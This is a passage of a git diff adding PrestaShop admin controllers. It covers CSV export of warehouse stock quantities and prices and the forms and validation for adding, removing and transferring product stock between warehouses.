$this->context->link->getAdminLink('AdminStockInstantState').'&csv_quantities&id_warehouse='.(int)$this->getCurrentCoverageWarehouse(), + 'desc' => $this->l('Export Quantities (CSV)'), + ); + + $this->toolbar_btn['export-stock-state-prices-csv'] = array( + 'short' => 'Export this list as CSV', + 'href' => $this->context->link->getAdminLink('AdminStockInstantState').'&csv_prices&id_warehouse='.(int)$this->getCurrentCoverageWarehouse(), + 'desc' => $this->l('Export Prices (CSV)'), + ); + } + parent::initToolbar(); + unset($this->toolbar_btn['new']); + } + + /** + * Exports CSV + */ + public function renderCSV() + { + if (count($this->_list) <= 0) + return; + + // sets warehouse id and warehouse name + $id_warehouse = (int)Tools::getValue('id_warehouse'); + $warehouse_name = Warehouse::getWarehouseNameById($id_warehouse); + + // if quantities requested + if (Tools::isSubmit('csv_quantities')) + { + // filename + $filename = $this->l('stock_instant_state_quantities').'_'.$warehouse_name.'.csv'; + + // header + header('Content-type: text/csv'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$filename); + + // puts keys + $keys = array('id_product', 'id_product_attribute', 'reference', 'ean13', 'upc', 'name', 'physical_quantity', 'usable_quantity', 'real_quantity'); + echo sprintf("%s\n", implode(';', $keys)); + + // puts rows + foreach ($this->_list as $row) + { + $row_csv = array($row['id_product'], $row['id_product_attribute'], $row['reference'], + $row['ean13'], $row['upc'], $row['name'], + $row['physical_quantity'], $row['usable_quantity'], $row['real_quantity'] + ); + + // puts one row + echo sprintf("%s\n", implode(';', array_map(array('CSVCore', 'wrap'), $row_csv))); + } + } + // if prices requested + else if (Tools::isSubmit('csv_prices')) + { + // sets filename + $filename = $this->l('stock_instant_state_prices').'_'.$warehouse_name.'.csv'; + + // header + header('Content-type: text/csv'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$filename); + + // puts keys + $keys = array('id_product', 'id_product_attribute', 'reference', 'ean13', 'upc', 'name', 'price_te', 'physical_quantity', 'usable_quantity'); + echo sprintf("%s\n", implode(';', $keys)); + + foreach ($this->_list as $row) + { + $id_product = (int)$row['id_product']; + $id_product_attribute = (int)$row['id_product_attribute']; + + // gets prices + $query = new DbQuery(); + $query->select('s.price_te, SUM(s.physical_quantity) as physical_quantity, SUM(s.usable_quantity) as usable_quantity'); + $query->from('stock', 's'); + $query->leftJoin('warehouse', 'w', 'w.id_warehouse = s.id_warehouse'); + $query->where('s.id_product = '.$id_product.' AND s.id_product_attribute = '.$id_product_attribute); + $query->where('s.id_warehouse = '.$id_warehouse); + $query->groupBy('s.price_te'); + $datas = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + // puts data + foreach ($datas as $data) + { + $row_csv = array($row['id_product'], $row['id_product_attribute'], $row['reference'], + $row['ean13'], $row['upc'], $row['name'], + $data['price_te'], $data['physical_quantity'], $data['usable_quantity']); + + // puts one row + echo sprintf("%s\n", implode(';', array_map(array('CSVCore', 'wrap'), $row_csv))); + } + } + } + } + + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initContent(); + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initProcess(); + } + +} diff --git a/controllers/admin/AdminStockManagementController.php b/controllers/admin/AdminStockManagementController.php new file mode 100755 index 0000000..cb14e03 --- /dev/null +++ b/controllers/admin/AdminStockManagementController.php @@ -0,0 +1,1156 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminStockManagementControllerCore extends AdminController +{ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'product'; + $this->className = 'Product'; + $this->lang = true; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->fields_list = array( + 'reference' => array( + 'title' => $this->l('Product reference'), + 'align' => 'center', + 'filter_key' => 'a!reference', + 'width' => 200 + ), + 'ean13' => array( + 'title' => $this->l('EAN13'), + 'align' => 'center', + 'filter_key' => 'a!ean13', + 'width' => 100 + ), + 'upc' => array( + 'title' => $this->l('UPC'), + 'align' => 'center', + 'filter_key' => 'a!upc', + 'width' => 100 + ), + 'name' => array( + 'title' => $this->l('Name'), + ), + 'stock' => array( + 'title' => $this->l('Quantity'), + 'hint' => $this->l('Quantitity total for all warehouses.'), + 'width' => 100, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + ); + + parent::__construct(); + + // overrides confirmation messages specifically for this controller + $this->_conf = array( + 1 => $this->l('The product was successfully added to your stock.'), + 2 => $this->l('The product was successfully removed from your stock.'), + 3 => $this->l('The transfer was successfully completed.'), + ); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + // sets actions + $this->addRowAction('details'); + $this->addRowAction('addstock'); + $this->addRowAction('removestock'); + $this->addRowAction('transferstock'); + + // no link on list rows + $this->list_no_link = true; + + // inits toolbar + $this->toolbar_btn = array(); + + // overrides query + $this->_select = 'a.id_product as id, COUNT(pa.id_product_attribute) as variations'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pa.id_product = a.id_product)'.Shop::addSqlAssociation('product_attribute', 'pa', false); + $this->_where = 'AND a.cache_is_pack = 0 AND a.is_virtual = 0'; + $this->_group = 'GROUP BY a.id_product'; + + // displays informations + $this->displayInformation($this->l('This interface allows you to manage product stock and their variations.').'<br />'); + $this->displayInformation($this->l('Through this interface, you can increase and decrease product stock for an given warehouse.')); + $this->displayInformation($this->l('Furthermore, you can alter product quantities between warehouses, or within one warehouse.').'<br />'); + $this->displayInformation($this->l('If you want to increase quantities of multiple products at once, you can use the "Supply orders" page under the "Stock" menu.').'<br />'); + $this->displayInformation($this->l('Finally, you need to provide the quantity that you\'ll be adding:')); + $this->displayInformation($this->l('Usable for sale means that this quantity will be available in your shop(s),')); + $this->displayInformation($this->l('otherwise it will be considered reserved (i.e. for other purposes).')); + + return parent::renderList(); + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + // gets the product + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + + // gets warehouses + $warehouses_add = Warehouse::getWarehouses(true); + $warehouses_remove = Warehouse::getWarehousesByProductId($id_product, $id_product_attribute); + + // displays warning if no warehouses + if (!$warehouses_add) + $this->displayWarning($this->l('You must choose a warehouses before adding stock. See Stock/Warehouses')); + + //get currencies list + $currencies = Currency::getCurrencies(); + $id_default_currency = Configuration::get('PS_CURRENCY_DEFAULT'); + $default_currency = Currency::getCurrency($id_default_currency); + if ($default_currency) + $currencies = array_merge(array($default_currency, '-'), $currencies); + + // switch, in order to display the form corresponding to the current action + switch ($this->display) + { + case 'addstock' : + // gets the last stock mvt for this product, so we can display the last unit price te and the last quantity added + $last_sm_unit_price_te = $this->l('N/A'); + $last_sm_quantity = 0; + $last_sm_quantity_is_usable = -1; + $last_sm = StockMvt::getLastPositiveStockMvt($id_product, $id_product_attribute); + + // if there is a stock mvt + if ($last_sm != false) + { + $last_sm_currency = new Currency((int)$last_sm['id_currency']); + $last_sm_quantity = (int)$last_sm['physical_quantity']; + $last_sm_quantity_is_usable = (int)$last_sm['is_usable']; + if (Validate::isLoadedObject($last_sm_currency)) + $last_sm_unit_price_te = Tools::displayPrice((float)$last_sm['price_te'], $last_sm_currency); + } + + $this->displayInformation($this->l('Rolling over the quantity and price fields will give you the details about the last stock movement.')); + + // fields in the form + $this->fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('Add a product to your stock.'), + 'image' => '../img/admin/add_stock.png' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'is_post', + ), + array( + 'type' => 'hidden', + 'name' => 'id_product', + ), + array( + 'type' => 'hidden', + 'name' => 'id_product_attribute', + ), + array( + 'type' => 'hidden', + 'name' => 'check', + ), + array( + 'type' => 'text', + 'label' => $this->l('Product reference:'), + 'name' => 'reference', + 'size' => 30, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('EAN13:'), + 'name' => 'ean13', + 'size' => 15, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('UPC:'), + 'name' => 'upc', + 'size' => 15, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 75, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Quantity to add:'), + 'name' => 'quantity', + 'size' => 10, + 'maxlength' => 6, + 'required' => true, + 'desc' => $this->l('Physical quantity to add'), + 'hint' => sprintf( + $this->l('Last physical quantity added : %s (%s)'), + ($last_sm_quantity > 0 ? $last_sm_quantity : $this->l('N/A')), + ($last_sm_quantity > 0 ? ($last_sm_quantity_is_usable >= 0 ? $this->l('Usable') : $this->l('Not usable')) : $this->l('N/A'))), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Usable for sale?'), + 'name' => 'usable', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Is this quantity ready to be displayed in your shop, or is it reserved in the warehouse for other purposes?') + ), + array( + 'type' => 'select', + 'label' => $this->l('Warehouse:'), + 'name' => 'id_warehouse', + 'required' => true, + 'options' => array( + 'query' => $warehouses_add, + 'id' => 'id_warehouse', + 'name' => 'name' + ), + 'desc' => $this->l('Please select the warehouse that you\'ll be adding products to. ') + ), + array( + 'type' => 'text', + 'label' => $this->l('Unit price (tax excl.):'), + 'name' => 'price', + 'required' => true, + 'size' => 10, + 'maxlength' => 10, + 'desc' => $this->l('Unit purchase price or unit manufacturing cost for this product (tax excl.)'), + 'hint' => sprintf($this->l('Last unit price (tax excl.): %s'), $last_sm_unit_price_te), + ), + array( + 'type' => 'select', + 'label' => $this->l('Currency:'), + 'name' => 'id_currency', + 'required' => true, + 'options' => array( + 'query' => $currencies, + 'id' => 'id_currency', + 'name' => 'name' + ), + 'desc' => $this->l('The currency associated to the product unit price.'), + ), + array( + 'type' => 'select', + 'label' => $this->l('Label:'), + 'name' => 'id_stock_mvt_reason', + 'required' => true, + 'options' => array( + 'query' => StockMvtReason::getStockMvtReasonsWithFilter($this->context->language->id, + array(Configuration::get('PS_STOCK_MVT_TRANSFER_TO')), + 1), + 'id' => 'id_stock_mvt_reason', + 'name' => 'name' + ), + 'desc' => $this->l('Label used in stock movements'), + ), + ), + 'submit' => array( + 'title' => $this->l('Add to stock'), + 'class' => 'button' + ) + ); + $this->fields_value['usable'] = 1; + break; + + case 'removestock' : + $this->fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('Remove the product from your stock.'), + 'image' => '../img/admin/remove_stock.png' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'is_post', + ), + array( + 'type' => 'hidden', + 'name' => 'id_product', + ), + array( + 'type' => 'hidden', + 'name' => 'id_product_attribute', + ), + array( + 'type' => 'hidden', + 'name' => 'check', + ), + array( + 'type' => 'text', + 'label' => $this->l('Product reference:'), + 'name' => 'reference', + 'size' => 30, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('EAN13:'), + 'name' => 'ean13', + 'size' => 15, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 75, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Quantity to remove:'), + 'name' => 'quantity', + 'size' => 10, + 'maxlength' => 6, + 'required' => true, + 'desc' => $this->l('Physical quantity to remove'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Usable for sale:'), + 'name' => 'usable', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Do you want to remove this quantity from the usable quantity (yes) or the physical quantity (no)?') + ), + array( + 'type' => 'select', + 'label' => $this->l('Warehouse:'), + 'name' => 'id_warehouse', + 'required' => true, + 'options' => array( + 'query' => $warehouses_remove, + 'id' => 'id_warehouse', + 'name' => 'name' + ), + 'desc' => $this->l('Select the warehouse you\'d like to remove the product from.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Label:'), + 'name' => 'id_stock_mvt_reason', + 'required' => true, + 'options' => array( + 'query' => StockMvtReason::getStockMvtReasonsWithFilter($this->context->language->id, + array(Configuration::get('PS_STOCK_MVT_TRANSFER_FROM')), + -1), + 'id' => 'id_stock_mvt_reason', + 'name' => 'name' + ), + 'desc' => $this->l('Label used in stock movements'), + ), + ), + 'submit' => array( + 'title' => $this->l('Remove from stock'), + 'class' => 'button' + ) + ); + break; + + case 'transferstock' : + $this->fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('Transfer a product from one warehouse to another'), + 'image' => '../img/admin/transfer_stock.png' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'is_post', + ), + array( + 'type' => 'hidden', + 'name' => 'id_product', + ), + array( + 'type' => 'hidden', + 'name' => 'id_product_attribute', + ), + array( + 'type' => 'hidden', + 'name' => 'check', + ), + array( + 'type' => 'text', + 'label' => $this->l('Product reference:'), + 'name' => 'reference', + 'size' => 30, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('EAN13:'), + 'name' => 'ean13', + 'size' => 15, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 75, + 'disabled' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Quantity to transfer:'), + 'name' => 'quantity', + 'size' => 10, + 'maxlength' => 6, + 'required' => true, + 'desc' => $this->l('Quantity to transfer:') + ), + array( + 'type' => 'select', + 'label' => $this->l('Source Warehouse:'), + 'name' => 'id_warehouse_from', + 'required' => true, + 'options' => array( + 'query' => $warehouses_remove, + 'id' => 'id_warehouse', + 'name' => 'name' + ), + 'desc' => $this->l('Select the warehouse you\'d like to transfer the product from.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Is this product usable in your source warehouse?'), + 'name' => 'usable_from', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Is this the usable quantity for sale?') + ), + array( + 'type' => 'select', + 'label' => $this->l('Destination warehouse:'), + 'name' => 'id_warehouse_to', + 'required' => true, + 'options' => array( + 'query' => $warehouses_add, + 'id' => 'id_warehouse', + 'name' => 'name' + ), + 'desc' => $this->l('Select the warehouse you\'d like to transfer your product(s) to. ') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Is this product for sale in your destination warehouse?'), + 'name' => 'usable_to', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Do you want it to be for sale/useable?') + ), + ), + 'submit' => array( + 'title' => $this->l('Transfer'), + 'class' => 'button' + ) + ); + break; + } + + $this->initToolbar(); + } + + /** + * AdminController::postProcess() override + * @see AdminController::postProcess() + */ + public function postProcess() + { + parent::postProcess(); + + // Checks access + if (Tools::isSubmit('addStock') && !($this->tabAccess['add'] === '1')) + $this->errors[] = Tools::displayError('You do not have the required permission to add stock.'); + if (Tools::isSubmit('removeStock') && !($this->tabAccess['delete'] === '1')) + $this->errors[] = Tools::displayError('You do not have the required permission to delete stock'); + if (Tools::isSubmit('transferStock') && !($this->tabAccess['edit'] === '1')) + $this->errors[] = Tools::displayError('You do not have the required permission to transfer stock.'); + + if (count($this->errors)) + return; + + // Global checks when add / remove / transfer product + if ((Tools::isSubmit('addstock') || Tools::isSubmit('removestock') || Tools::isSubmit('transferstock') ) && Tools::isSubmit('is_post')) + { + // get product ID + $id_product = (int)Tools::getValue('id_product', 0); + if ($id_product <= 0) + $this->errors[] = Tools::displayError('The selected product is not valid.'); + + // get product_attribute ID + $id_product_attribute = (int)Tools::getValue('id_product_attribute', 0); + + // check the product hash + $check = Tools::getValue('check', ''); + $check_valid = md5(_COOKIE_KEY_.$id_product.$id_product_attribute); + if ($check != $check_valid) + $this->errors[] = Tools::displayError('The selected product is not valid.'); + + // get quantity and check that the post value is really an integer + // If it's not, we have nothing to do + $quantity = Tools::getValue('quantity', 0); + if (!is_numeric($quantity) || (int)$quantity <= 0) + $this->errors[] = Tools::displayError('The quantity value is not valid.'); + $quantity = (int)$quantity; + + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + $redirect = self::$currentIndex.'&token='.$token; + } + + // Global checks when add / remove product + if ((Tools::isSubmit('addstock') || Tools::isSubmit('removestock') ) && Tools::isSubmit('is_post')) + { + // get warehouse id + $id_warehouse = (int)Tools::getValue('id_warehouse', 0); + if ($id_warehouse <= 0 || !Warehouse::exists($id_warehouse)) + $this->errors[] = Tools::displayError('The selected warehouse is not valid.'); + + // get stock movement reason id + $id_stock_mvt_reason = (int)Tools::getValue('id_stock_mvt_reason', 0); + if ($id_stock_mvt_reason <= 0 || !StockMvtReason::exists($id_stock_mvt_reason)) + $this->errors[] = Tools::displayError('The reason is not valid.'); + + // get usable flag + $usable = Tools::getValue('usable', null); + if (is_null($usable)) + $this->errors[] = Tools::displayError('You have to specify if the product quantity is usable for sale on shops.'); + $usable = (bool)$usable; + } + + if (Tools::isSubmit('addstock') && Tools::isSubmit('is_post')) + { + // get product unit price + $price = str_replace(',', '.', Tools::getValue('price', 0)); + if (!is_numeric($price)) + $this->errors[] = Tools::displayError('The product price is not valid.'); + $price = round(floatval($price), 6); + + // get product unit price currency id + $id_currency = (int)Tools::getValue('id_currency', 0); + if ($id_currency <= 0 || ( !($result = Currency::getCurrency($id_currency)) || empty($result) )) + $this->errors[] = Tools::displayError('The selected currency is not valid.'); + + // if all is ok, add stock + if (count($this->errors) == 0) + { + $warehouse = new Warehouse($id_warehouse); + + // convert price to warehouse currency if needed + if ($id_currency != $warehouse->id_currency) + { + // First convert price to the default currency + $price_converted_to_default_currency = Tools::convertPrice($price, $id_currency, false); + + // Convert the new price from default currency to needed currency + $price = Tools::convertPrice($price_converted_to_default_currency, $warehouse->id_currency, true); + } + + // add stock + $stock_manager = StockManagerFactory::getManager(); + + if ($stock_manager->addProduct($id_product, $id_product_attribute, $warehouse, $quantity, $id_stock_mvt_reason, $price, $usable)) + { + StockAvailable::synchronize($id_product); + if (Tools::isSubmit('addstockAndStay')) + { + $redirect = self::$currentIndex.'&id_product='.(int)$id_product; + if ($id_product_attribute) + $redirect .= '&id_product_attribute='.(int)$id_product_attribute; + $redirect .= '&addstock&token='.$token; + } + Tools::redirectAdmin($redirect.'&conf=1'); + } + else + $this->errors[] = Tools::displayError('An error occurred. No stock was added.'); + } + } + + if (Tools::isSubmit('removestock') && Tools::isSubmit('is_post')) + { + // if all is ok, remove stock + if (count($this->errors) == 0) + { + $warehouse = new Warehouse($id_warehouse); + + // remove stock + $stock_manager = StockManagerFactory::getManager(); + $removed_products = $stock_manager->removeProduct($id_product, $id_product_attribute, $warehouse, $quantity, $id_stock_mvt_reason, $usable); + + if (count($removed_products) > 0) + { + StockAvailable::synchronize($id_product); + Tools::redirectAdmin($redirect.'&conf=2'); + } + else + { + $physical_quantity_in_stock = (int)$stock_manager->getProductPhysicalQuantities($id_product, $id_product_attribute, array($warehouse->id), false); + $usable_quantity_in_stock = (int)$stock_manager->getProductPhysicalQuantities($id_product, $id_product_attribute, array($warehouse->id), true); + $not_usable_quantity = ($physical_quantity_in_stock - $usable_quantity_in_stock); + if ($usable_quantity_in_stock < $quantity) + $this->errors[] = sprintf(Tools::displayError('You don\'t have enough usable quantity. Cannot remove %d out of %d.'), (int)$quantity, (int)$usable_quantity_in_stock); + else if ($not_usable_quantity < $quantity) + $this->errors[] = sprintf(Tools::displayError('You don\'t have enough usable quantity. Cannot remove %d out of %d.'), (int)$quantity, (int)$not_usable_quantity); + else + $this->errors[] = Tools::displayError('It is not possible to remove the specified quantity. Therefore no stock was removed.'); + } + } + } + + if (Tools::isSubmit('transferstock') && Tools::isSubmit('is_post')) + { + // get source warehouse id + $id_warehouse_from = (int)Tools::getValue('id_warehouse_from', 0); + if ($id_warehouse_from <= 0 || !Warehouse::exists($id_warehouse_from)) + $this->errors[] = Tools::displayError('The source warehouse is not valid.'); + + // get destination warehouse id + $id_warehouse_to = (int)Tools::getValue('id_warehouse_to', 0); + if ($id_warehouse_to <= 0 || !Warehouse::exists($id_warehouse_to)) + $this->errors[] = Tools::displayError('The destination warehouse is not valid.'); + + // get usable flag for source warehouse + $usable_from = Tools::getValue('usable_from', null); + if (is_null($usable_from)) + $this->errors[] = Tools::displayError('You have to specify if the product quantity in your source warehous(es) is ready for sale.'); + $usable_from = (bool)$usable_from; + + // get usable flag for destination warehouse + $usable_to = Tools::getValue('usable_to', null); + if (is_null($usable_to)) + $this->errors[] = Tools::displayError('You have to specify if the product quantity in your destination warehous(es) is ready for sale.'); + $usable_to = (bool)$usable_to; + + // if we can process stock transfers + if (count($this->errors) == 0) + { + // transfer stock + $stock_manager = StockManagerFactory::getManager(); + + $is_transfer = $stock_manager->transferBetweenWarehouses( + $id_product, + $id_product_attribute, + $quantity, + $id_warehouse_from, + $id_warehouse_to, + $usable_from, + $usable_to + ); + StockAvailable::synchronize($id_product); + if ($is_transfer) + Tools::redirectAdmin($redirect.'&conf=3'); + else + $this->errors[] = Tools::displayError('It is not possible to transfer the specified quantity. No stock was transferred.'); + } + } + } + + /** + * assign default action in toolbar_btn smarty var, if they are not set. + * uses override to specifically add, modify or remove items + * + */ + public function initToolbar() + { + switch ($this->display) + { + case 'addstock': + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and stay'), + ); + case 'removestock': + case 'transferstock': + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + // Default cancel button - like old back link + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + break; + + default: + parent::initToolbar(); + } + } + + /** + * AdminController::init() override + * @see AdminController::init() + */ + public function init() + { + parent::init(); + + if (Tools::isSubmit('addstock')) + { + $this->display = 'addstock'; + $this->toolbar_title = $this->l('Stock: Add a product'); + } + + if (Tools::isSubmit('removestock')) + { + $this->display = 'removestock'; + $this->toolbar_title = $this->l('Stock: Remove a product'); + } + + if (Tools::isSubmit('transferstock')) + { + $this->display = 'transferstock'; + $this->toolbar_title = $this->l('Stock: Transfer a product'); + } + } + + /** + * method call when ajax request is made with the details row action + * @see AdminController::postProcess() + */ + public function ajaxProcess() + { + // test if an id is submit + if (Tools::isSubmit('id')) + { + // override attributes + $this->identifier = 'id_product_attribute'; + $this->display = 'list'; + $this->lang = false; + + $this->addRowAction('addstock'); + $this->addRowAction('removestock'); + $this->addRowAction('transferstock'); + + // get current lang id + $lang_id = (int)$this->context->language->id; + + // Get product id + $product_id = (int)Tools::getValue('id'); + + // Load product attributes with sql override + $this->table = 'product_attribute'; + + $this->_select = 'a.id_product_attribute as id, a.id_product, a.reference, a.ean13, a.upc'; + + $this->_where = 'AND a.id_product = '.$product_id; + $this->_group = 'GROUP BY a.id_product_attribute'; + + // get list and force no limit clause in the request + $this->getList($this->context->language->id, null, null, 0, false); + + // Render list + $helper = new HelperList(); + $helper->bulk_actions = array(); + $helper->toolbar_scroll = $this->toolbar_scroll; + $helper->show_toolbar = false; + $helper->actions = $this->actions; + $helper->list_skip_actions = $this->list_skip_actions; + $helper->no_link = true; + $helper->shopLinkType = ''; + $helper->identifier = $this->identifier; + // Force render - no filter, form, js, sorting ... + $helper->simple_header = true; + $content = $helper->generateList($this->_list, $this->fields_list); + + echo Tools::jsonEncode(array('use_parent_structure' => false, 'data' => $content)); + } + + die; + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + if ($this->display == 'list') + { + // Check each row to see if there are combinations and get the correct action in consequence + $nb_items = count($this->_list); + + for ($i = 0; $i < $nb_items; $i++) + { + $item = &$this->_list[$i]; + + // if it's an ajax request we have to consider manipulating a product variation + if ($this->ajax == '1') + { + $item['name'] = Product::getProductName($item['id_product'], $item['id']); + // no details for this row + $this->addRowActionSkipList('details', array($item['id'])); + + // specify actions in function of stock + $this->skipActionByStock($item, true); + } + // If current product has variations + else if ((int)$item['variations'] > 0) + { + // we have to desactivate stock actions on current row + $this->addRowActionSkipList('addstock', array($item['id'])); + $this->addRowActionSkipList('removestock', array($item['id'])); + $this->addRowActionSkipList('transferstock', array($item['id'])); + + // does not display these informaions because this product has combinations + $item['reference'] = '--'; + $item['ean13'] = '--'; + $item['upc'] = '--'; + } + else + { + //there are no variations of current product, so we don't want to show details action + $this->addRowActionSkipList('details', array($item['id'])); + + // specify actions in function of stock + $this->skipActionByStock($item, false); + } + // Checks access + if (!($this->tabAccess['add'] === '1')) + $this->addRowActionSkipList('addstock', array($item['id'])); + if (!($this->tabAccess['delete'] === '1')) + $this->addRowActionSkipList('removestock', array($item['id'])); + if (!($this->tabAccess['edit'] === '1')) + $this->addRowActionSkipList('transferstock', array($item['id'])); + } + } + } + + /** + * Check stock for a given product or product attribute + * and manage available actions in consequence + * + * @param array $item reference to the current item + * @param bool $is_product_attribute specify if it's a product or a product variation + */ + protected function skipActionByStock(&$item, $is_product_variation = false) + { + $stock_manager = StockManagerFactory::getManager(); + + //get stocks for this product + if ($is_product_variation) + $stock = $stock_manager->getProductPhysicalQuantities($item['id_product'], $item['id']); + else + $stock = $stock_manager->getProductPhysicalQuantities($item['id'], 0); + + //affects stock to the list for display + $item['stock'] = $stock; + + if ($stock <= 0) + { + //there is no stock, we can only add stock + $this->addRowActionSkipList('removestock', array($item['id'])); + $this->addRowActionSkipList('transferstock', array($item['id'])); + } + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management prior to using this feature.'); + return false; + } + + // Manage the add stock form + if ($this->display == 'addstock' || $this->display == 'removestock' || $this->display == 'transferstock') + { + if (Tools::isSubmit('id_product') || Tools::isSubmit('id_product_attribute')) + { + // get id product and product attribute if possible + $id_product = (int)Tools::getValue('id_product', 0); + $id_product_attribute = (int)Tools::getValue('id_product_attribute', 0); + + $product_is_valid = false; + $is_pack = false; + $is_virtual = false; + $lang_id = $this->context->language->id; + + // try to load product attribute first + if ($id_product_attribute > 0) + { + // try to load product attribute + $combination = new Combination($id_product_attribute); + if (Validate::isLoadedObject($combination)) + { + $product_is_valid = true; + $id_product = $combination->id_product; + $reference = $combination->reference; + $ean13 = $combination->ean13; + $upc = $combination->upc; + $manufacturer_reference = $combination->supplier_reference; + + // get the full name for this combination + $query = new DbQuery(); + + $query->select('IFNULL(CONCAT(pl.`name`, \' : \', GROUP_CONCAT(agl.`name`, \' - \', al.`name` SEPARATOR \', \')),pl.`name`) as name'); + $query->from('product_attribute', 'a'); + $query->join('INNER JOIN '._DB_PREFIX_.'product_lang pl ON (pl.`id_product` = a.`id_product` AND pl.`id_lang` = '.(int)$lang_id.') + LEFT JOIN '._DB_PREFIX_.'product_attribute_combination pac ON (pac.`id_product_attribute` = a.`id_product_attribute`) + LEFT JOIN '._DB_PREFIX_.'attribute atr ON (atr.`id_attribute` = pac.`id_attribute`) + LEFT JOIN '._DB_PREFIX_.'attribute_lang al ON (al.`id_attribute` = atr.`id_attribute` AND al.`id_lang` = '.(int)$lang_id.') + LEFT JOIN '._DB_PREFIX_.'attribute_group_lang agl ON (agl.`id_attribute_group` = atr.`id_attribute_group` AND agl.`id_lang` = '.(int)$lang_id.')' + ); + $query->where('a.`id_product_attribute` = '.$id_product_attribute); + $name = Db::getInstance()->getValue($query); + } + } + // try to load a simple product + else + { + $product = new Product($id_product, false, $lang_id); + if (is_int($product->id)) + { + $product_is_valid = true; + $reference = $product->reference; + $ean13 = $product->ean13; + $upc = $product->upc; + $name = $product->name; + $manufacturer_reference = $product->supplier_reference; + $is_pack = 